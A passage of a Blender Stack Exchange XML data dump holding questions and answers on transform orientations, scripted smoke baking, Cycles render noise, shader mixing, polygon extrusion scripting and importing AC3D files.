&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You could use two 3D views, one to define the transform orientation, and another to actually view and interact with the scene.&lt;/p&gt;&#xA;&lt;h1&gt;Local&lt;/h1&gt;&#xA;&lt;p&gt;You could also try using &lt;em&gt;local&lt;/em&gt; coordinates, which is defined by the rotation of the selected object(s). See the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations#Local&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The manipulator matches the object axis. Notice that, here, the&#xA;Manipulator is at a slight tilt (it is most visible on the object's&#xA;y-axis, the green arrow). This is due to our 15º rotation of the&#xA;object. This demonstrates the difference between local coordinates and&#xA;global coordinates. If we had rotated the object 90º along its x-axis,&#xA;we would see that the object's &amp;quot;Up&amp;quot; is the world's &amp;quot;Forward&amp;quot; -- or the&#xA;object's z-axis would now be the world's y-axis. This orientation has&#xA;an effect on many parts of the interface, so it is important to&#xA;understand the distinction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1&gt;Custom&lt;/h1&gt;&#xA;&lt;p&gt;You can also define arbitrary custom orientations based on the orientation of existing geometry, see my &lt;a href=&quot;https://blender.stackexchange.com/a/21249/599&quot;&gt;answer here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-30T19:56:22.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4967" PostTypeId="2" ParentId="4963" CreationDate="2013-11-18T21:32:57.727" Score="7" Body="&lt;p&gt;Baking smoke is very similar to baking fluid, so I will quote &lt;a href=&quot;https://blender.stackexchange.com/a/728/599&quot;&gt;brecht's answer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It's a bit more complicated than it could be because fluid simulating baking is only exposed as an operator. That means it expects an active object in the context, which is usually provided by the user interface that is not available in background mode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, it is possible to override context manually, see the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.ops.html?#overriding-context&quot; rel=&quot;nofollow noreferrer&quot;&gt;api docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for a smoke simulation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for scene in bpy.data.scenes:&#xA;    for object in scene.objects:&#xA;        for modifier in object.modifiers:&#xA;            if modifier.type == 'SMOKE':&#xA;                if modifier.smoke_type == 'DOMAIN':&#xA;                    override = {'scene': scene, 'active_object': object, 'point_cache': modifier.domain_settings.point_cache}&#xA;                    bpy.ops.ptcache.bake(override, bake=True)&#xA;                    break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will bake the selected cache for all domain objects in the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then run this python script in blender with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background /path/to/file.blend --python /path/to/script.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or the short way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b /path/to/file.blend -P /path/to/script.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2013-11-18T21:38:01.613" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4969" PostTypeId="1" CreationDate="2013-11-19T00:43:54.740" Score="3" ViewCount="817" Body="&lt;p&gt;I attempted to mix a &lt;em&gt;Glass&lt;/em&gt; shader and an &lt;em&gt;SSS&lt;/em&gt; shader based on ray length to simulate a material that has many particles in it, scattering light that travels farther through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WauGK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NwbCD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually setting the &lt;em&gt;Factor&lt;/em&gt; of the mix shader anywhere in between &lt;code&gt;1&lt;/code&gt; and &lt;code&gt;0&lt;/code&gt; gives this (renders of &lt;code&gt;1&lt;/code&gt;, &lt;code&gt;.5&lt;/code&gt;, and &lt;code&gt;0&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sefpx.png&quot; alt=&quot;factor of 1&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/mYQn3.png&quot; alt=&quot;factor of .5&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/YTKxu.png&quot; alt=&quot;factor of 0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is causing this darkening and how can I get the desired result?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-13T20:27:41.260" Title="Mixing two shaders based on raylength" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4971" PostTypeId="1" AcceptedAnswerId="5009" CreationDate="2013-11-19T00:52:47.947" Score="2" ViewCount="127" Body="&lt;p&gt;Is it possible to determine the vertex count of a fluid simulation frame without applying the fluid simulation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I would just go into edit mode and select all to see the vertex count in the &lt;em&gt;Info&lt;/em&gt; panel, but its a nuisance to have to duplicate and apply my fluid mesh every time I want to see this information. (e.g. if I'm going through the frames and watching the vertex count)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to do this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-11-20T09:15:59.420" Title="How to determine the poly/vert counts of a fluid simulation?" Tags="&lt;workflow&gt;&lt;vertices&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4972" PostTypeId="1" AcceptedAnswerId="4974" CreationDate="2013-11-19T02:03:41.137" Score="8" ViewCount="6036" Body="&lt;p&gt;While trying to find some information about low-poly mountain, I end up finding this image explaining the material the person used to make his mountain and I thought it look really cool, but it was with 3DS Max:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nNtSm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to replicate it with Blender with no success. Can anyone point out how to make something like that with Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;With the Ant Landscape, I got this :) &lt;img src=&quot;https://i.imgur.com/UbfQQfe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1641" LastEditorUserId="3401" LastEditDate="2015-07-20T04:21:55.240" LastActivityDate="2015-11-22T00:05:45.710" Title="Material to generate a mountain" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;modifiers&gt;&lt;add-on&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4973" PostTypeId="2" ParentId="4972" CreationDate="2013-11-19T03:17:31.707" Score="6" Body="&lt;p&gt;In fact, it's more like a question on how to use the Displace modifier, since your image shows the man was using a Displace modifier with a texture to generate that in 3DS Max.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although different softwares got different steps and flow on getting the same result, Blender got it's way to do this, there is Displace modifier in Blender, too, and also, can be controlled with textures, vertex groups, and even more freely by using specific images. You can also use it several times to accumulate as a combined result. As shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vTykO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-11-19T03:17:31.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4974" PostTypeId="2" ParentId="4972" CreationDate="2013-11-19T03:24:49.947" Score="5" Body="&lt;p&gt;Leon's &lt;a href=&quot;https://blender.stackexchange.com/a/4973/12&quot;&gt;answer&lt;/a&gt; is correct, you can use &lt;a href=&quot;http://en.wikipedia.org/wiki/Heightmap&quot; rel=&quot;nofollow noreferrer&quot;&gt;Heightmaps&lt;/a&gt; along with the &lt;em&gt;Displace&lt;/em&gt; modifier to achieve this but depending on the level of control and flexibility you might want, a &lt;em&gt;much&lt;/em&gt; better way to do this in Blender is to make use of the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/ANT_Landscape&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Ant Landscape&lt;/em&gt;&lt;/a&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open &lt;em&gt;Use Preferences&lt;/em&gt;, go to &lt;em&gt;Addons&lt;/em&gt; and find it under &lt;em&gt;Add Mesh&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aeQPz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;3D viewport&lt;/em&gt;, add a new object with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Landscape&lt;/em&gt; and play with the settings that appear in the &lt;em&gt;Toolshelf&lt;/em&gt;. BlenderCookie also has a &lt;a href=&quot;https://www.youtube.com/watch?v=cfOdEGL9Gk8&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; (&lt;a href=&quot;https://cgcookie.com/archive/tip-using-the-ant-landscape-add-on/&quot; rel=&quot;nofollow noreferrer&quot;&gt;archived&lt;/a&gt;) on how to use this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VhUQv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve the lowpoly look while editing the object, keep your subdivisions low and to achieve the lowpoly look after. You can triangulate the mesh with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; and also make use of the &lt;em&gt;Decimate&lt;/em&gt; modifier.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-11-22T00:05:45.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4976" PostTypeId="1" CreationDate="2013-11-18T01:14:43.323" Score="4" ViewCount="763" Body="&lt;p&gt;I have Blender downloaded and installed on my computer. On startup it shows icons having no labels. As a newbie it is virtually impossible to follow any tutorial with this interface. How can I fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="82743" OwnerDisplayName="Dani Chuks Okocha" LastEditorUserId="599" LastEditDate="2013-11-19T04:54:43.733" LastActivityDate="2017-02-15T13:17:31.173" Title="Blender icons have no label" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4977" PostTypeId="2" ParentId="4976" CreationDate="2013-11-19T04:50:16.740" Score="4" Body="&lt;p&gt;Blender loads scripts at startup. It seems it cannot find these. The &lt;em&gt;most likely&lt;/em&gt; reason is that the path to it has some characters Blender can't read or a file is corrupt. Here is what you can try.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Reinstall and clear all user settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows, the directory is located at  &lt;code&gt;C:\Users\USER_NAME\AppData\Roaming\Blender Foundation\Blender\2.6x&lt;/code&gt;. Delete this folder and reinstall Blender. See &lt;a href=&quot;https://blender.stackexchange.com/questions/78/how-would-i-import-export-blenders-preferences/82#82&quot;&gt;this post&lt;/a&gt; for more information on how to locate this directory. This can work for both portable copies and installations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;OR&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When uninstalling the program, tick &lt;em&gt;Remove all files&lt;/em&gt; (second option) to make it delete the directory and then reinstall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TEeEN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try a &lt;a href=&quot;http://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;portable version&lt;/a&gt;.&#xA;&lt;em&gt;Still clear the old folder from the first point.&lt;/em&gt; Since portable builds use the files they ship with, it should work with the files it comes with or generate new ones as needed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2013-11-19T04:55:32.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4978" PostTypeId="5" CreationDate="2013-11-19T05:02:40.617" Score="0" Body="" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-19T05:02:40.617" LastActivityDate="2013-11-19T05:02:40.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4979" PostTypeId="4" CreationDate="2013-11-19T05:02:40.617" Score="0" Body="Questions related to using and manipulating sound in blender." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-19T05:02:40.617" LastActivityDate="2013-11-19T05:02:40.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4980" PostTypeId="1" AcceptedAnswerId="4981" CreationDate="2013-11-19T06:59:27.163" Score="82" ViewCount="111244" Body="&lt;p&gt;I know that this question is a bit old or maybe overdone, but I'm running the latest edition of Blender and when I use the Cycles engine I get really fuzzy results and &lt;em&gt;I can't find a simple, non-compromising solution to the quality&lt;/em&gt;.  I don't know exactly what I'm doing wrong here, but I'm sure others share my frustration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leaving everything in default settings, I started a new project and switched to the Cycles render.  I duplicated the cube and set colors for two Diffuse BSDF shaders, then went ahead and made walls and a floor all sharing the same diffuse shader.  I made two windows to emit blue light.  The screenshot has gaps between the walls because of the setup:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0lfqE.png&quot; alt=&quot;Blender Cycles render&quot;&gt;&lt;br&gt;&#xA;I'm aware that it's considered very incomplete and many have come to terms with some amount of noise, but is this normal?  Furthermore, with default settings or not, I can't change the amount of noise produced.  Supposedly, using &quot;progressively refine&quot; in the rendering tab should make it refine itself indefinitely, however Cycles only counts to 10 refines and then stops, creating a render which is a pixel-perfect match of the ordinary rendering method when it's completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that there are tricks that can be used to reduce noise, but at the cost of extra processing time and usually small quality conflicts, like blurring.  My question essentially boils down to &lt;em&gt;is this Cycles' current limit?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1038" LastEditorDisplayName="user1853" LastEditDate="2018-01-08T03:34:59.383" LastActivityDate="2021-05-08T00:02:56.150" Title="How to avoid noisy renders in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;denoise&gt;" AnswerCount="9" CommentCount="1" FavoriteCount="44" ContentLicense="CC BY-SA 3.0" />
  <row Id="4981" PostTypeId="2" ParentId="4980" CreationDate="2013-11-19T07:01:18.160" Score="66" Body="&lt;h1&gt;Samples:&lt;/h1&gt;&#xA;&lt;p&gt;What you want is the number of &lt;em&gt;Samples&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;em&gt;Sample&lt;/em&gt; refers to cycles firing a &amp;quot;ray&amp;quot; into the scene and returning information based on the color and other properties of objects it interacts with.&lt;br /&gt;&#xA;E.g. If a ray bounces off a red object and then hits a light source, the corresponding pixel will get a red color.&lt;/p&gt;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/q/2274/599&quot;&gt;Why can&amp;#39;t cycles cast one ray per image pixel, instead of rendering progressively to infinity?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can change the number of samples taken per pixel in &lt;em&gt;Render settings &amp;gt; Sampling &amp;gt; Samples &amp;gt; Render&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vfLHq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Increase this value to take more samples and reduce noise. See the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/render_settings/sampling.html#sampling&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;There are two integrator modes that can be used: path tracing and branched path tracing. The path tracing integrator is a pure path tracer; at each hit it will bounce light in one direction and pick one light to receive lighting from. This makes each individual sample faster to compute, but will typically require more samples to clean up the noise.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1&gt;Progressive refine:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/render_settings/performance.html?#performance&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Progressive refine&lt;/em&gt;&lt;/a&gt; does not change the number of samples, it disables &lt;em&gt;tiled rendering&lt;/em&gt;. With tiled rendering each tile is rendered to the full number of samples before starting the next. Disabling this is useful for rendering the entire image all at once, so the user can manually stop the render and get a finished image.&lt;/p&gt;&#xA;&lt;p&gt;Note that the render will still stop at the number of samples defined in &lt;em&gt;Sampling &amp;gt; Samples &amp;gt; Render&lt;/em&gt; using this setting, and rendering the entire image this way is &lt;strong&gt;much slower&lt;/strong&gt; than rendering with tiles.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-01T22:34:06.797" LastActivityDate="2020-10-01T22:34:06.797" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="4982" PostTypeId="1" AcceptedAnswerId="5007" CreationDate="2013-11-19T07:43:33.230" Score="11" ViewCount="1658" Body="&lt;p&gt;Is it possible to simulate an &lt;a href=&quot;http://en.wikipedia.org/wiki/Optical_fiber&quot; rel=&quot;nofollow noreferrer&quot;&gt;Optical Fiber&lt;/a&gt; in cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. like these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/4/49/Fibreoptic.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to simulate this with a glass shader with an &lt;em&gt;IOR&lt;/em&gt; of &lt;code&gt;1.62&lt;/code&gt;, (a value &lt;a href=&quot;http://en.wikipedia.org/wiki/Optical_fiber#Index_of_refraction&quot; rel=&quot;nofollow noreferrer&quot;&gt;gotten from wikipedia&lt;/a&gt;) however not much light seems to come out the end of the &quot;fiber&quot;. After 260 samples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/az0vp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Image from &lt;a href=&quot;http://en.wikipedia.org/wiki/File:Fibreoptic.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.063" LastActivityDate="2017-08-17T17:54:52.203" Title="Is it possible to simulate an optical fiber with cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4983" PostTypeId="1" AcceptedAnswerId="4989" CreationDate="2013-11-19T08:33:53.230" Score="6" ViewCount="1205" Body="&lt;p&gt;I have a selection of polygons that I plan to extrude individually, but I need the distance each polygon is extruded to be proportional to the area of the polygon, so that larger polygons are extruded farther than smaller polygons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figure I loop through the active selection of polygons, get the area of the polygon, use the &lt;code&gt;Extrude Individual and Move&lt;/code&gt; tool with the extrusion distance equal to the polygon area times some scale factor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm not sure where to start — I assume the selection of polygons must be accessible through &lt;code&gt;context&lt;/code&gt;, though I haven't found it yet. And I'm not sure how to use the &lt;code&gt;bpy.ops.view3d.edit_mesh_extrude_individual_move()&lt;/code&gt; tool either, but that too seems like it should be very straight forward, I just can't seem to find my footing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also seems like it would make for a good option on the extrude tools. To get really fancy we could even allow for a user entered formula to determine the relationship between the polygon area and the extrusion distance, which I suspect could lead to novel results. Recursive extrusions with arbitrary or random tilts or scaling could make for an interesting tool too, though all that is way beyond what I'm looking to do here.&lt;/p&gt;&#xA;" OwnerUserId="813" LastActivityDate="2013-11-19T12:06:33.990" Title="Extrude Individual Polygons Proportional to Polygon Area" Tags="&lt;python&gt;&lt;modeling&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4984" PostTypeId="2" ParentId="4983" CreationDate="2013-11-19T08:48:46.947" Score="1" Body="&lt;p&gt;AFAIK, to get the selected polygons you will have to iterate through all the faces on the mesh and check if they are selected with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.MeshPolygon.html#bpy.types.MeshPolygon.select&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;polygon.select&lt;/code&gt;&lt;/a&gt;. If there is a collection available through &lt;code&gt;context&lt;/code&gt; I can't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the area of the polygon with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.MeshPolygon.html#bpy.types.MeshPolygon.area&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;polygon.area&lt;/code&gt;&lt;/a&gt;, then extrude it with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.ops.mesh.html?#bpy.ops.mesh.extrude_faces_move&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.ops.mesh.extrude_faces_move&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You may want to use the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bmesh.html?highlight=bmesh#bmesh&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bmesh&lt;/code&gt;&lt;/a&gt; module for this instead of &lt;code&gt;bpy&lt;/code&gt;, but I don't know anything about it.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-11-19T08:48:46.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4985" PostTypeId="1" CreationDate="2013-11-19T10:48:10.797" Score="4" ViewCount="405" Body="&lt;p&gt;I have a high resolution texture with only seven colors that I apply to a makehuman model and I want in my rendered result also just those seven colors (plus a black background). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have tried to to deactivate MIP Map and Interpolation, and different filters with small filter sizes in the Image Sampling panel. However, the result is as depicted in the following image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FEplN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, I tried to deactivate the Anti-Aliasing in the Render options, but still I do not get the desired result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rtWXX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You see that the color fades, especially on color borders. The rendered image is rather small (160x120), but also if I increase the dimension, the problem remains.&lt;/p&gt;&#xA;" OwnerUserId="1455" LastEditorUserId="12" LastEditDate="2013-11-19T12:39:33.687" LastActivityDate="2013-11-22T10:06:23.560" Title="Rendering with NN Interpolation" Tags="&lt;rendering&gt;&lt;texturing&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4986" PostTypeId="1" CreationDate="2013-11-19T11:45:49.273" Score="8" ViewCount="3287" Body="&lt;p&gt;Using Blender 2.66 with Ubuntu 13.10.&#xA;How to import AC3D files?&lt;br&gt;&#xA;I do not see an option for this under user preferences.&lt;/p&gt;&#xA;" OwnerUserId="1642" LastActivityDate="2019-08-14T21:07:11.297" Title="How to import AC3D files?" Tags="&lt;import&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4987" PostTypeId="2" ParentId="4985" CreationDate="2013-11-19T11:54:48.060" Score="4" Body="&lt;p&gt;Deactivating &lt;em&gt;AA&lt;/em&gt; and &lt;em&gt;MipMap&lt;/em&gt; + &lt;em&gt;Interpolation&lt;/em&gt; is the right thing to do. The filters are used with interpolation. The bigger the filter size the smoother the result becomes. But since you don't want any smoothness you should deactivate interpolation. That way you can forget about filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless Blender seems to sample textures internally with some interpolation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround you could use an image manipulation program like GIMP or Photoshop and reduce the colors there. In GIMP you can do it like this: Image &gt; Mode &gt; Indexed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To automate this task for multiple images you can use BIMP. It is GIMP plugin which is probably already installed. You can find it in File &gt; Batch Image Manipulation...&#xA;You can use the filter called &quot;gimp-image-convert-indexed&quot;&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-11-21T11:49:53.377" LastActivityDate="2013-11-21T11:49:53.377" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4988" PostTypeId="2" ParentId="4986" CreationDate="2013-11-19T12:04:02.463" Score="3" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/majic79/Blender-AC3D&quot; rel=&quot;nofollow&quot;&gt;majic79's &lt;em&gt;Blender-AC3D&lt;/em&gt;&lt;/a&gt; addon. It is a port of the one that existed for Blender 2.49 and the author seems to update it every now and then.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is it?&#xA;  It's a few python scripts to import/export AC3D data into and out of Blender 2.63+. For earlier Blender 2.6x versions you need an older revision of the plugin (&lt;a href=&quot;https://github.com/majic79/Blender-AC3D/tree/BL2.62&quot; rel=&quot;nofollow&quot;&gt;https://github.com/majic79/Blender-AC3D/tree/BL2.62&lt;/a&gt;)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Known Issues:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Exporter:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Export packed .blend images is untested...&lt;/li&gt;&#xA;  &lt;li&gt;It will either export everything, or everything that's selected. Default&#xA;  behaviour is to export everything, if you want to only export those items&#xA;  that you can see (ie, in the render scene), then select all those items and&#xA;  check the &quot;Selection Only&quot; option on the export dialog.&lt;/li&gt;&#xA;  &lt;li&gt;There's an option &quot;Export Render Layer&quot; - ie, only export what's currently&#xA;  visible - this doesn't work, but is in the plan&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Importer:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;No ngons yet.&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-11-19T12:04:02.463" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
